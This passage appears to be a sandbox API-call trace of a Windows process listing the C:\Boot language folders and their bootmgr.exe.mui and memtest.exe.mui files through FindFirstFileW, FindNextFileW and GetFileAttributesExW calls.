	[0050.183] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.183] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.183] GetFileAttributesExW (in: lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x126f9048 | out: lpFileInformation=0x126f9048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250)) returned 1
	[0050.184] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US" (normalized: "c:\\boot\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x126f9098 | out: lpFileInformation=0x126f9098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.184] CreateFileW (lpFileName="C:\\Boot\\en-US" (normalized: "c:\\boot\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.184] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x123ed9e0 | out: lpFindFileData=0x123ed9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.184] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.184] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0050.184] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0050.184] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.184] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.184] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x126f9188 | out: lpFileInformation=0x126f9188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40)) returned 1
	[0050.185] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x126f91d8 | out: lpFileInformation=0x126f91d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50)) returned 1
	[0050.185] GetFileAttributesExW (in: lpFileName="C:\\Boot\\es-ES" (normalized: "c:\\boot\\es-es"), fInfoLevelId=0x0, lpFileInformation=0x126f9228 | out: lpFileInformation=0x126f9228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.186] CreateFileW (lpFileName="C:\\Boot\\es-ES" (normalized: "c:\\boot\\es-es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.186] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x123ed9e0 | out: lpFindFileData=0x123ed9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.186] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.186] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0050.186] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.186] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.186] GetFileAttributesExW (in: lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x126f92c8 | out: lpFileInformation=0x126f92c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050)) returned 1
	[0050.186] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fi-FI" (normalized: "c:\\boot\\fi-fi"), fInfoLevelId=0x0, lpFileInformation=0x126f9318 | out: lpFileInformation=0x126f9318*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.186] CreateFileW (lpFileName="C:\\Boot\\fi-FI" (normalized: "c:\\boot\\fi-fi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.186] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x123ed9e0 | out: lpFindFileData=0x123ed9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.187] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.187] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0050.187] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.187] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.187] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x126f93b8 | out: lpFileInformation=0x126f93b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40)) returned 1
	[0050.187] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fr-FR" (normalized: "c:\\boot\\fr-fr"), fInfoLevelId=0x0, lpFileInformation=0x126f9408 | out: lpFileInformation=0x126f9408*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.188] CreateFileW (lpFileName="C:\\Boot\\fr-FR" (normalized: "c:\\boot\\fr-fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.188] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x123ed9e0 | out: lpFindFileData=0x123ed9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.188] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.188] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0050.188] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.188] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.189] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x126f94a8 | out: lpFileInformation=0x126f94a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40)) returned 1
	[0050.189] GetFileAttributesExW (in: lpFileName="C:\\Boot\\hu-HU" (normalized: "c:\\boot\\hu-hu"), fInfoLevelId=0x0, lpFileInformation=0x126f94f8 | out: lpFileInformation=0x126f94f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.189] CreateFileW (lpFileName="C:\\Boot\\hu-HU" (normalized: "c:\\boot\\hu-hu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.189] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x123ed9e0 | out: lpFindFileData=0x123ed9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.189] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.189] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0050.189] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.189] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.189] GetFileAttributesExW (in: lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x126f9598 | out: lpFileInformation=0x126f9598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240)) returned 1
	[0050.190] GetFileAttributesExW (in: lpFileName="C:\\Boot\\it-IT" (normalized: "c:\\boot\\it-it"), fInfoLevelId=0x0, lpFileInformation=0x126f95e8 | out: lpFileInformation=0x126f95e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.190] CreateFileW (lpFileName="C:\\Boot\\it-IT" (normalized: "c:\\boot\\it-it"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.191] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x123ed9e0 | out: lpFindFileData=0x123ed9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.191] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.191] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0050.191] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.191] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.191] GetFileAttributesExW (in: lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x126f9688 | out: lpFileInformation=0x126f9688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1
	[0050.191] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ja-JP" (normalized: "c:\\boot\\ja-jp"), fInfoLevelId=0x0, lpFileInformation=0x126f96d8 | out: lpFileInformation=0x126f96d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.191] CreateFileW (lpFileName="C:\\Boot\\ja-JP" (normalized: "c:\\boot\\ja-jp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.191] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x123ed9e0 | out: lpFindFileData=0x123ed9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.191] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
